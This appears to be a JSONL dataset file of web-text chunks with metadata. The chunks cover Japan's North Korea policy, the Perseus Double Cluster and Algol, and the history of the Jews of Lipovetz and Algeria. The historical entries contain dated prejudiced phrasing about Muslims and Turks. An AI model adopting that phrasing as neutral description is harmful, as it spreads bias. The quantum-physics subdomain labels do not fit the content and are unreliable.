purposes of pushing the re - militarization of japanese foreign policy, the actual truth of north korea \u2019 s military capacity or the intentions of its leadership are largely irrelevant. north korea is a ladder that can be kicked away once the objective of a \u201c normal \u201d japanese military is reached. the abduction narrative played a critical role in this process. it made it easier for the japanese to forget the stigma of japan \u2019 s much larger campaign of abducting koreans during world war ii \u2013 the thousands and thousands of \u201c comfort women \u201d as well as", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47575975502917545, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.426770"} {"text": "abduction narrative played a critical role in this process. it made it easier for the japanese to forget the stigma of japan \u2019 s much larger campaign of abducting koreans during world war ii \u2013 the thousands and thousands of \u201c comfort women \u201d as well as those forced to serve in the military and to labor in factories. it asserted a powerful threat at a time when a full - scale demonization of beijing was problematic in the context of growing japanese - chinese economic cooperation. even the gaps in the abduction narrative were helpful for, like a good mystery novel, the audience in japan hung on to each new installment to learn the answers to the remaining riddles. the trajectory of japan \u2019 s foreign policy seems clear, even though there has not yet been a change in constitution, a dramatic increase in military spending, or a ratcheting up of rhetoric. quietly, japan has acquired new offensive capabilities, participated in the iraq and afghanistan wars with the dispatch of ground and maritime self - defense forces, and prepared the foundation for a rejection of the pacifist past. perhaps that is why current prime minister fukuda yasuo feels more comfortable showing flexibility on the abduction issue than his predecessors, koizumi and abe. fukuda has resumed bilateral negotiations with north korea, and extracted a surprise promise from pyongyang to reinvestigate what it had previously declared was a closed issue. in return, japan has promised to partially lift sanctions if this new inquiry makes progress. this might also open the way for japan to provide food aid during what is shaping up to be a second major agricultural crisis for north korea. if the two countries do finally establish diplomatic relations, and the abduction saga is laid to rest, north korea will no longer be an alien force for the japanese. but pyongyang will have helped to create, with its abductions, exactly the opposite of what it wanted : a japan unshackled from its recent pacifist past and armed to the teeth. john feffer is the co - director of foreign policy in focus at the institute for policy studies, author of numerous works on food policy and on the two koreas, and a japan focus associate. he wrote this article for japan focuspublished at japan focus on july 2, 2008. we welcome your comments on this and all other articles. please consider subscribing to our rss feed, or following us via twitter or facebook.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4395981341390798, "token_count": 489, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.428029"} {"text": "c14 - the double cluster algol - eclipsing binary star perseus lies along the plane of the milky way, but as we view it, we are looking away from the galactic centre, so that there are fewer clusters within its boundaries than when looking towards sagattarius or scorpius. however, the two clusters that form the perseus double cluster provide one of the best binocular sights in the heavens and perseus also harbours a very interesting star system, algol. whilst, for northern observers, perseus comes high overhead in the latter months of the year, for southern observers it only just rises above the northern horizon so that, whilst they should be able to observe algol, sadly, the double cluster will lie below their horizon. c14 - twin open clusters b m visible to the unaided eye as a hazy patch in the milky way, binoculars or a small telescope at low power can show both these two beautiful clusters in the same field of view. they are most easily found by sweeping with your eyes, binocular or finder scope to the east and a little south of cassiopeia, following the line set by its bright stars gamma and delta. the bright cores of the two clusters are separated by just less than one moon diameter, 25 arc minutes, and together they cover over a degree of sky. given their separation and individual visual brightness of between 4th and 5th magnitude, one should be able to see them as separate entities. but this is not usually the case. surprisingly perhaps, the best chance to do so is by observing them just as twilight ends ; when they first appear to the eye but the background stars of the milky way are still invisible. ( in a similar fashion, the brighter stars of constellation - those that form the patterns that we learn - show up far more clearly under twilight or light - polluted conditions than when seen in really dark conditions. this is why you are advised to learn the shapes and locations of the constellations when the sky conditions are not too good! ) the two clusters, also known as h and chi persei, are a beautiful sight in 10x50 binoculars ; each cluster having a bright centre and many individually resolved stars. with a low - power eyepiece both can be seen in the same field and then, moving up to medium power, each can be observed in detail. they lie in the perseus spiral arm of the milky way some 7300 light years away, and were both formed about 3 million years ago.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4737926620317297, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.435208"} {"text": "in the same field and then, moving up to medium power, each can be observed in detail. they lie in the perseus spiral arm of the milky way some 7300 light years away, and were both formed about 3 million years ago. position : 2h 20. 5m + 57deg 08min algol - eclipsing binary star e b algol is one of the most remarkable and most famous individual stars in the sky. its arabic name is al ghul, which means the ' demon ' star ( ghul is related to ' ghoul ', a ghost ). why a demon? because it winks! every 2. 87 days its brightness quickly drops from magnitude 2. 1 to 3. 4 and then rises again to 2. 1 over a period of 10 hours. john goodricke of york was one of the first astronomers who discovered its regular brightness variations in 1782 \u2013 3. much later, in 1881, astronomers realised that the effect could be caused by a binary system in which the orbital plane of the two stars was almost in line with the earth, so that every 2. 87 days there is a partial eclipse! this is when the fainter star of the two comes in front of the brighter. in between each major drop in brightness, there is a much smaller drop as the brighter star comes in front of the fainter. the primary star is a blue b - type star with a surface temperature of 12, 000k. the secondary is a much larger but dimmer k - type orange giant star. interestingly, the two stars do not seem to be following the normal rules of stellar evolution. more massive stars evolve faster than less massive ones, so the orange giant - which has evolved away from the main sequence - should be more massive than the blue primary star. but it has less mass! it appears that material may be flowing from the giant star ( so reducing its mass ) onto the normal star whose mass is thus increasing. position : 3h 8. 2m + 40deg 57min", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5049493148944759, "token_count": 414, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.436332"} {"text": "town in the government of kiev, russia. in 1897 it had a total population of 6, 068, of which 4, 500 were jews. there were 670 jewish artisans and 71 jewish day - laborers ; of the latter 25 engaged in field - work during the harvest season. the economic condition of the jews there has been unfavorably affected by the abolition of annual and weekly fairs, and in 1900 the poverty of the population became so great that a mob of several hundred collected at the house of the local police official and demanded bread and the reestablishment of the fairs. the jewish artisans are engaged extensively in the manufacture of a new kind of footwear, one variety of which, worn by the peasantry, is known as \" postaly, \" and another, worn by the more prosperous, as \" skorokhody. \" the 25 hadarim afforded instruction to 475 children, and 59 jewish pupils attended the city school. the talmud torah, founded in 1898, had 97 pupils. in 1768 lipovetz suffered with other ukrainean towns from the attacks of the haidamacks. - voskhod ( monthly ), 1890, ii. 94 ; - voskhod ( weekly ), 1900, nos. 12, 17.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3509979230408521, "token_count": 257, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.437872"} {"text": "country on the coast of north africa, now a french colony, but formerly belonging successively to carthage, rome, the saracens, and the ottoman turks. the claim is put forth by several jewish algerian communities that they were established in north africa at the time of the destruction of the temple. though this is unwarranted, the presence of jews there since the first centuries of the common era is attested by epitaphs ( \" c. i. l. \" viii. 8423, 8499 ; \" bulletin archeologique du comite des travaux historiques, \" no. i. xiii. 64 ), from which two inferences may be drawn : first, that since the jews mentioned bear latin names, most of them came from italy ; secondly, that since the proportion of jewish inscriptions to the great mass of latin - algerian inscriptions is very small, the number of jews was not large. under the fairly tolerant vandals the jews probably multiplied ; for justinian in his edict of persecution respecting north africa, proclaimed by him after the overthrow of the vandal empire, mentions them in the same category as arians and heathens ( \" novell\u00e6, \" xxxvii. ). in the seventh century an important addition to the jewish population was made by spanish immigrants, who, fleeing from the persecutions of the visigothic king sisebut and his successors, escaped to mauritania, and settled in the byzantine cities. whether they mingled with the berber population, making converts among them, is an open question, to which, however, arabic historians give an affirmative answer. ibn - kaldun categorically maintains that several berber tribes professed judaism : the nafusah in ifrikiyyah ( tunis and a department of constantine ), the faudalawah, the fazaz, the madiunah, the bahlulah, and the ghayyathah in the maghreb al - aksa ( in the west of the department of oran and morocco ). the powerful tribes of the jarua and of the aures, whose queen, the kahina dihya, for a long time kept the arabian generals in check, also practised the jewish religion. ibn - kaldun adds that the existence of judaism among the berbers lasted until the reign of the founder of the idriside dynasty. this prince devoted himself energetically to stamping out all traces of judaism from his empire ; but certain present usages among the tribes of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41759518661432077, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.460883"} {"text": "that the existence of judaism among the berbers lasted until the reign of the founder of the idriside dynasty. this prince devoted himself energetically to stamping out all traces of judaism from his empire ; but certain present usages among the tribes of the aures, such as house - cleaning at passover time and sabbath observance, must be considered as survivals of that religion. moreover, some contend that certain portions of the tribe of the henansha ( south constantine ), leading in all particulars the pastoral life of the arabs, still observe the religion of moses. arabic domination. under arabic domination the situation of the algerian jews was what that of \" the people of the book \" ( ahl - al - kitab ) has always been in moslem empires. though they were compelled to pay the poll - tax ( jizyah ), the regime was relatively tolerant, and they maintained the free exercise of their religion. at the same time they were always exposed to the caprice of a prince or to an outburst of popular fanaticism. on several occasions under idriside emirs they suffered persecution, but under the aghlabites they experienced real tranquillity, and even a fair amount of favor. two jewish physicians, both named ishak ben amram, appear to have attained a certain standing at the court of ziyadat - allah i. and of ziyadat - allah iii., and to have been the confidants and counselors of those princes. the almoravide dynasty seems to have left the jewish communities of the maghreb in peace ; but the fanatical almohades, who overthrew it ( 1146 ), followed a totally different policy toward the jews. the first almohade, ' abd al - mu ' min, made them the object of frequent persecutions. in pursuance of a fanciful belief, of which it is impossible to find the least foundation in moslem tradition, he pretended that mohammed had permitted the jews the free exercise of their religion for only five hundred years, and that if, at the expiration of that time, the messiah had not appeared, they must be forced into islam by fair means or foul. his successors pursued the same course, and their severe measures produced either emigration to the east or forced conversions. becoming suspicious of the sincerity of the new converts, the almohades, in order to distinguish them from moslems of longer standing, obliged them to wear a", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45260670954024457, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.463175"} {"text": "course, and their severe measures produced either emigration to the east or forced conversions. becoming suspicious of the sincerity of the new converts, the almohades, in order to distinguish them from moslems of longer standing, obliged them to wear a special garb. under the various dynasties, which after the fall of the almohades divided the maghreb among themselves, the hafsides of tunis, the banu ziyan of tlemcen, and the marinides of fez, the situation of the jews was somewhat improved. at any rate their situation was far better than that of jews across the mediterranean in christian spain ; and the african coast cities became the natural shelter for refugees from spanish persecutions. spanish immigration. in 1391, in consequence of that terrible uprising against the jews which steeped castile, aragon, andalusia, and the balearic isles in blood, groups of immigrants landed at algiers, oran, mostaganem, and bougie, penetrated into the cities of the interior, and settled there with the permission of the moslem authorities. they had to pay a capitation fee of a doubloon for admission into the land. on the whole, they were well received by the jewish communities already there, but for some time they formed separate groups. the ancient algerian jews were known as \" wearers of turbans, \" the newcomers as \" wearers of birettas. \" greatly superior to the african jew in culture and in intellectual and commercial activity, the spanish jew soon gained the upper hand, and from the first years of the fifteenth century rabbis who emigrated from spain are found at the head of nearly all jewish communities in algeria : at algiers, isaac ben sheshet barfat, known by the abbreviation \" ribash, \" and simon ben zemah duran i., similarly called \" rashbaz \" ; at oran, amram ben merovas ephrati ; at constantine, joseph ben menir and maimun ben saadia najar ; at medeah, saadia darmon ; at tlemcen, abraham ben hakin and ephraim ankawa ; at bougie, benjamin amer, etc. henceforth the number of jews in algeria continually augmented, the increase being most marked when a large immigration into africa took place at the end of the fifteenth and the beginning of the sixteenth century. after the expulsion of the jews from spain ( 1492, 1502 ) four to five thousand of them repaired to africa", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4240339245515927, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.464222"} {"text": "increase being most marked when a large immigration into africa took place at the end of the fifteenth and the beginning of the sixteenth century. after the expulsion of the jews from spain ( 1492, 1502 ) four to five thousand of them repaired to africa. an old chronicler says : \" those who arrived at oran were so numerous that the arabs, on seeing their vessels, thought that enemies were descending upon them and killed a number ; but afterward the moslem prince took pity on them, and, through the intervention of an influential jew of the country named dodiham, permitted them to land. he had board cabins erected outside the city for them and the cattle they brought with them. \" the conclusion may be drawn that these new immigrants found in the algerian citieswell - constituted jewish communities, full of vitality, by which they were absorbed, despite their own strength and importance ; for, in the first place, the division of the jews into two groups, african and spanish, that has existed at tunis up to our own times, ceased in algeria after the middle of the turkish period ; and, in the second place, arabic has remained the current speech of the algerian jews, while the contrary is the case at tetuan and tangiers, where spanish is the vernacular of the jews. at first algeria did not offer the jewish refugees from spain a very secure asylum. when cardinal ximenes took oran in 1509, he overwhelmed the jews with his impositions ; peter of navarre, in his conquest of bougie ( 1510 ), pillaged, massacred, and reduced to slavery a considerable number of jews. turkish domination. but under turkish domination, from 1519 onward, during the sixteenth, seventeenth, and eighteenth centuries, the jews in the towns of the regency of algiers enjoyed a fair amount of security, being practically guaranteed the free exercise of their religion and the liberty to administer their own affairs. however, they were despised, subjected to annoying treatment, forced to pay heavy taxes, and, if they complained, punished with the utmost rigor. in addition they were exposed to arbitrary acts at the hands of petty local tyrants. the pasha of tuggurt, mohammed al - akhal ben jallab, wished to convert the jews to islam by force, and the deys of algiers on several occasions handed over the houses of the jews to the populace for pillage. but it was chiefly in the villages occupied by the spaniards and exposed to the wars between the regency and the catholic kings that the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4192563328456006, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.465312"} {"text": "force, and the deys of algiers on several occasions handed over the houses of the jews to the populace for pillage. but it was chiefly in the villages occupied by the spaniards and exposed to the wars between the regency and the catholic kings that the jews suffered from active fanaticism \u2014 the fanatical hate inspired by the inquisition. the spaniards in possession of tlemcen in 1563 killed or enslaved fifteen hundred jews there, and in 1669 taxardo expelled from oran the jewish population, proscribed the free exercise of judaism, and replaced the synagogue by a church dedicated to san christo de la patienza. it is no wonder, then, that the algerian jews publicly demonstrated their joy on several occasions when the turks were victorious over the spaniards. the following curious fact is worthy of mention : emperor charles v. sent a jew of oran named jacob cansino ( 1556 ) to represent him at the court of the emperor of morocco, and to protect the interests of spanish subjects in that country ; the descendants of this jacob cansino, isaac, hayyim, aaron, and jacob, in direct succession from father to son, filled the office of consuls of spain in morocco until 1666. in the eighteenth century certain jewish communities were reestablished or enlarged under the friendly rule of turkish deys. among the chief of these is the present community in oran. in 1792, after the final evacuation of the city by the spaniards, the dey mohammed al - kabir invited the jews of tlemcen, of mostaganem, of mascara, and of nedroma to live there. on condition of the payment of certain taxes, and of building within fixed limits, he conceded to them a piece of land between what is now chateau - neuf and saint - andre. at constantine the dey salah donated to the jews of the region some land with indefinite boundaries between the souk al - aseur and the gate of elkantara. they established themselves there, erected buildings, and peopled that part of the city up to the desert. in the seventeenth century a new jewish element found its way into the chief cities of the regency, especially at algiers. these jews from leghorn, italy, called gorneyim, soon attained great importance as social economic factors. it was their commercial activity that brought them to algiers, and in the course of the eighteenth century they became the bankers of the deys, intermediaries between them and the european powers, and their respected and influential counselors, almost", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41349712994664856, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.466337"} {"text": "economic factors. it was their commercial activity that brought them to algiers, and in the course of the eighteenth century they became the bankers of the deys, intermediaries between them and the european powers, and their respected and influential counselors, almost even their ministers. the organization of the jewish algerian communities developed in the course of time. definite information concerning the system during the turkish period is in existence, and a short summary may be given. placed at the head of the community was a mukaddam selected by the arabic or turkish governor of the city or the region. the mukaddam was the official representative of the community, and the sole legal intermediary with the moslem authorities for all administrative and financial affairs. he was assisted by a council ( tobe ha - ' ir ), appointed by himself, which, apart from its administration of the general affairs of the community, saw to the levying and collecting of the taxes imposed on the jews of the country. the rabbinical tribunal possessed two judicial functions. in purely religious matters, it settled ritual questions and, if necessary, inflicted penalties, fines ( kenas ), excommunications ( herem ), and flogging ( malkot ) ; in civil matters it exclusively pronounced judgment on questions pertaining to personal relations and succession. the mukaddam executed the sentences. in civil matters other than those involving personal relations, the rabbinical tribunal was not necessarily the sole authority ; the moslem cadi had the same power if the parties concerned were agreed in bringing their differences to him, or when only one of the litigants was a jew. the administration of religious matters was entrusted to various officials, hierarchical in character, in the following order : gizbar, gabbai, haber. the first had the care of the synagogue and supervised the expenses attendant on the service. in certain cities the title of gizbar was merely honorary and was purchasable through donations. the gabbai and the haber attended to mortuary ceremonies, and the latter took an important part in marriage celebrations. it was his duty to conduct the bride from her parents ' home to the residence of her husband. the revenues of the community were at first derived from taxation on articles of consumption levied on certain trades ( the butcher ' s trade and the sale of passover bread ). collections and voluntary gifts supplied the rest. there were generally four large collections a year : at the new - year, for the housing of the poor ;", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42440675956877216, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.467309"} {"text": "levied on certain trades ( the butcher ' s trade and the sale of passover bread ). collections and voluntary gifts supplied the rest. there were generally four large collections a year : at the new - year, for the housing of the poor ; on yom kippur eve, for food for the poor ; at hanukkah, for clothes for the poor ; at purim, for defraying the expense of the passover. the algerian jews were forced to reside in a restricted quarter, analogous to the ghetto of medieval europe, and called by various names : harrah and sharah in the provinces of algiers and constantine ; and in the province of oran, mellah, which is still the name that it bears in morocco. among the tribes, the jews lived apart under the authority of the sheik. their situation was wretched and precarious, and more so under turkish than arabic domination. distinction, of course, must be made between the leghorn or frankish jews and the native. the turks imposed on the latter the most difficult drudgery without compensation, and subjected them to endless annoyances. they were officially obliged to wear a special costume : a shachiah, a skullcap of dark - colored cloth, a gray burnoose, and shoes without heels ( tcharpi or bettim ). the women dressed in a caftan, without the veil worn by moslem women to cover their faces. entrance into the mosques was absolutely prohibited to jews, and before certain particularly venerated mosques they were compelled to take off their shoes. they were forbidden to ride upon a horse, an animal set apart for moslems only, and could use only asses or mules ; nor were riding - saddles permitted, merely pack - saddles and panniers. through their mukaddam, they had to pay to the moslem authorities the taxes imposed by islam on \" the people of the book. \" in certain cities they were subjected also to the same taxation as the moslems. at medeah, the gharama, payable by the entire population, was apportioned equally to the jewish and moslem communities, the latter numbering six thousand, the former only six hundred. religious antagonism and the scorn of the moslemsfor all those who denied the mission of mohammed did not, however, create insuperable barriers between them and their subjects. on the contrary, there are still traces of the intercourse that", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44394277921072467, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.468315"} {"text": "antagonism and the scorn of the moslemsfor all those who denied the mission of mohammed did not, however, create insuperable barriers between them and their subjects. on the contrary, there are still traces of the intercourse that undeniably existed between the two peoples. unity of language, daily life side by side, and the economic position rapidly attained by the jew in the slothful moslem society, greatly contributed to create common usages and observances. it was not rare that rabbis commanded great respect from arabs, and at the present day ( 1901 ) the jews of the country zealously claim as sainted rabbis a number of highly venerated walis, sidi ya ' kub ( jacob ) and sidi yusif ( joseph ) at tlemcen, sidi yousha ' ( joshua ) ben nun near honain, etc., all bearing biblical names, whom the arabs, in consideration of their high qualities, exalted after their death to the dignity of moslem marabouts. the tombs of these illustrious personages have become sanctuaries, the resorts of pilgrims of both races, before which they practise the same observances, sometimes highly fanciful. moreover, every year an arab of algiers, a self - constituted guardian of one of these marabouts of disputed origin, goes to the province of oran to make collections among the jewish communities, and is generally very successful. in the same category with these facts is the well - known veneration paid by the arabs to the synagogue of bona. the existence among the jews of a large number of usages and superstitions is to be attributed wholly to moslem influence. such are : the custom among women of mutilating their faces on the death of their kindred ; belief in the sorcery of the jinn ; and confidence in the efficacy of white fowls placed under the sick - bed, etc. these beliefs are widespread, and ministers of religion have difficulty in combating them. for four centuries the family of the duran provided heads of the community at algiers. in other cities, owing to the emigration of 1391, spanish rabbis in the course of the fifteenth century obtained the leadership of all the jewries. at tlemcen was the well - known ephraim ankawa ( d. 1422 ) ; at oran and tlemcen, abraham abi zimra, isaac abi zimra, then alal", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4595411184841373, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.469203"} {"text": "the jewries. at tlemcen was the well - known ephraim ankawa ( d. 1422 ) ; at oran and tlemcen, abraham abi zimra, isaac abi zimra, then alal ben sidun ( fifteenth century ), joseph alashkar, and judah halaz ( sixteenth century ), and the family of the gavisson, originally from seville and granada, who left spain after 1492. at constantine is the tomb of ben menir, surnamed \" hehasid, \" who arrived there probably after the end of the fourteenth century. his successor was najar, author of various casuistic and juristic treatises. the french conquest. the french conquest freed the mass of algerian jews from the turkish yoke. they welcomed it as a veritable deliverance \u2014 which it was \u2014 and the very day after the entrance of the french troops at algiers, they became devoted allies of the civilizing power which made an end of turkish barbarity in that country. the knowledge of the arabic language possessed by the jews made their services, of which they were not sparing, extremely valuable to the french. the roll of honor of the military interpreters contains the names of a number of algerian jews, some of whom died on the field. according to highly respected authorities, the brunt of the defense of oran when besieged by abd el - kader in 1833 was borne by the jews. therefore it is easy to comprehend that from 1830 to 1870 opinion has been shifting in the direction of the assimilation of the algerian jews with the french citizens. magazine articles, various publications, and the resolutions of the general councils did not cease since 1845 to pronounce such an assimilation to be most profitable for the future of french algeria. and this desire, frequently expressed, naturally found an echo in the various legislative decisions, which, in the forty years before 1870, pretended to regulate the legal status of the algerian population. in these decisions the statutes concerning the israelites were always double in character. in the first place they clearly distinguish between jew and moslem among the natives : and in the second place, they more and more approximate the jewish element to the french. to mention instances : after aug. 10, 1834, the authority of the rabbinical tribunals was considerably restricted ; henceforth they decided only on matters of marriage, divorce, and liturgy ; and seven years later they were completely suppressed ( ordinance of feb. 28, 1841 ), though \" pretoire", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3979274475545698, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.470250"} {"text": "the authority of the rabbinical tribunals was considerably restricted ; henceforth they decided only on matters of marriage, divorce, and liturgy ; and seven years later they were completely suppressed ( ordinance of feb. 28, 1841 ), though \" pretoires \" of the moslem cadis in the meantime continued to be in operation. the decree of march 15, 1860, which in penal matters subjected the natives of the territories of the commando to martial law, was not applicable to the jews, who, no matter in what part of algeria they lived, were tried before the criminal courts of the civil law. the mosaic law in secular matters had been suppressed by the statute of june 16, 1851, and the suppression was confirmed by the senatusconsulte of 1865, which in addition, according to article 2, admitted native jews to all the rights of french citizens on the demand of each individual. in 1866 they were granted a special representation in the municipal councils of algeria. finally, the decree of oct. 24, 1870, better known as the decree of cremieux, was the last stage in the long journey toward the legal assimilation of the algerian jews. it naturalized them as a whole, and, conforming to the principles of the revolution of 1789, suppressed judaism as a nationality in the new france of africa, but permitted it to exist as a religionrecognized by the state. such in the twentieth century is the situation of the jews of algeria. they are french citizens, and since 1870 they have made praiseworthy efforts to show themselves worthy of their new status. their children attend the schools and colleges of algeria, and every year a number enter the large schools of paris. recent riots. within recent years a strange phenomenon has manifested itself \u2014 active anti - semitism attended by mob violence and bloodshed. the political anti - semitic party had but one aim, to oppress the jew, to drive him, if possible, from the country. to that end pamphlets were written, speeches were made, special papers, like \" l ' algerie francaise \" and \" l ' anti - juif, \" were started, anti - jewish songs were composed, lengthy books were written ; all means were devised for making the life of the jew unhappy. jewish merchants were boycotted, indigent jews could not avail themselves of the free hospital service open to others, attempts were made to render them ineligible to public office, and if jewish children were not actually kept out of the public schools, they did not receive the same treatment", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4322914857957403, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.471315"} {"text": ", indigent jews could not avail themselves of the free hospital service open to others, attempts were made to render them ineligible to public office, and if jewish children were not actually kept out of the public schools, they did not receive the same treatment as the others. during february, 1897, an association of students made public manifestations against a jewish professor recently installed at algiers ; but the signal for unleashing popular hatred was a common brawl at mostaganem, begun by a party of cyclists from oran, and ending in violence, pillage, and the complete sacking of the synagogue ( may 18, 1897 ). the evil spread, and the same scenes were enacted at ain - tedeles, oran, ain - temouchent, and several other places. \" a bas les juifs! \" \" mort aux juifs! \" rang through the whole province. jews were unsafe on the streets ; stores and homes were plundered, and many persons were wounded. from this time manifestations continued to be made, disturbances very frequently occurred, and street brawls were the order of the day. justice, to put it mildly, was tardy ; the police were lenient to the anti - semites, and offenders against jews received ridiculously small penalties. hopes were founded on the new governor - general, lepine, who assumed office at the end of 1897 ; but his policy was not sufficiently strong, and equally violent riots occurred in algiers in january, 1898. the leader was max regis, elected mayor of algiers in november, 1898. other outbreaks occurred in july, 1898 ; february, april, and september, 1899, and the anti - semites were victorious in the elections of may and november, 1898. by december, 1899, there was a sensible improvement ; jonnart, the new governor - general, in his reply to the grand rabbi ' s address of welcome, declared himself against anti - semitism, but the anti - semites were victorious in the municipal elections in all three provinces. it is difficult to assign causes for the peculiar and violent character of algerian anti - semitism. some ascribe it to jealousy created by the cremieux decree. but the leaders of the movement were not natives who might be affected by such jealousy. it may be due to social conditions in algeria. there is a large element of foreign adventurers of mixed nationalities who were too rapidly naturalized and who, disappointed in their hopes of making fortunes quickly, were ready to accept the teachings of clericalism", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41094331173291543, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.472270"} {"text": "jealousy. it may be due to social conditions in algeria. there is a large element of foreign adventurers of mixed nationalities who were too rapidly naturalized and who, disappointed in their hopes of making fortunes quickly, were ready to accept the teachings of clericalism and to turn against the easiest victims of their passions. the natives simply followed the lead of these agitators. religion and religious organization. the religious organization by consistories is similar to that in france. since july 10, 1861, the consistories have received legal recognition, and are managed by a rabbi and six laymen elected by the jews themselves for eight years. the constitution of the consistories is settled by the ordinance of nov. 9, 1845, which defined all functions, fixed the amount of sums to be spent, and specified the purposes of expenditures. the decree of dec. 31, 1895, and still more that of aug. 23, 1898, limited the power of the consistories, whose number was augmented that each might embrace a smaller sphere. the consistory of algiers includes, besides five congregations in algiers, fourteen outlying communities, one of which, medeah, has a rabbi ; the consistory of constantine includes twenty - one communities, of which bona has a rabbi ; and the consistory of oran embraces thirty - eight, including the community of tlemcen. vital statistics. up to 1856 the census of the natives in algeria was made by the military administration and gave only approximate figures. from 1830 to 1870 there was no increase in population among the jews, but after 1881 many came from morocco and tunis, in order to enjoy the fuller liberty conferred on algerian jews by the cremieux decree. however, after 1895 the tribunals struck from the list of voters many such jews. leroy - beaulieu gives the population of native jews in 1891 : algiers, 14, 895 ; oran, 19, 794 ; constantine, 12, 875 \u2014 that is, a total of 47, 564 out of a population of 4, 169, 650. hazell ' s \" annual \" ( london ) for 1900 gives the jewish population as 50, 000. the average number of births a year for the years 1891, 1892, and 1893 was 2, 698, or 56. 72 to 1, 000 souls ; the number of deaths was 1, 812, or 38 to 1, 000. this is a comparatively large death - rate, due to great mortality among infants. - l. addison, the present state of the jews in the bar", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45180237382028043, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.473203"} {"text": "000 souls ; the number of deaths was 1, 812, or 38 to 1, 000. this is a comparatively large death - rate, due to great mortality among infants. - l. addison, the present state of the jews in the barbary states, 1675 ; - morgan, istoria, degli stati d ' algeri, tunisi, tripoli, e morocco, london, 1784 ; - l. reynier, de l ' economie publique et rurale des arabes et des juifs, 1820 ; - r. jungmann, costumes, m\u0153urs et usages des algeriens, 1837 ; - heloise hartoch, lettre sur l ' etat des juifs de l ' algerie, 1840 ; - joanny pharaon and dr. goldscheider, lettres sur l ' etat des juifs en algerie, in arch. isr. sept. and oct., 1840 ; - j. c. f., la question juive en algerie, ou de la naturalisation des juifs algeriens, par un algerien progressif, algiers, 1860 ; - de fourton, rapport... sur les israelites indigenes de l ' algerie, 1870 ; - charles du bouzet, les lndigenes israelites de l ' algerie, 1871 ; - a. cremieux, refutation de l ' expose des motifs, 1871, p. 27 ; - j. m. haddey, le livre, d ' or des israelites algeriens, 1872 ; - charles roussel, les juifs et les musulmans, in revue des deux mondes, aug. 15, 1875 ; - paul gaffarel, l ' algerie, 1883 ; - maurice wahl, les juifs d ' algerie, 1886 ; - j. weyl, les juifs proteges francais aux echelles du levant et en barbarie sous les regnes de louis xiv. et de louis xv., in rev. et. juives, 1886, xii., xiv. ; - de grammont, histoire d ' algerie sous la domination turque, 1887 ; - paul leroy - beaulieu, l ' algerie et la tunisie, 1897 ; - schurer, gesch. iii. 26 ; - a. cahen,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4389086492291953, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.474071"} {"text": "algerie sous la domination turque, 1887 ; - paul leroy - beaulieu, l ' algerie et la tunisie, 1897 ; - schurer, gesch. iii. 26 ; - a. 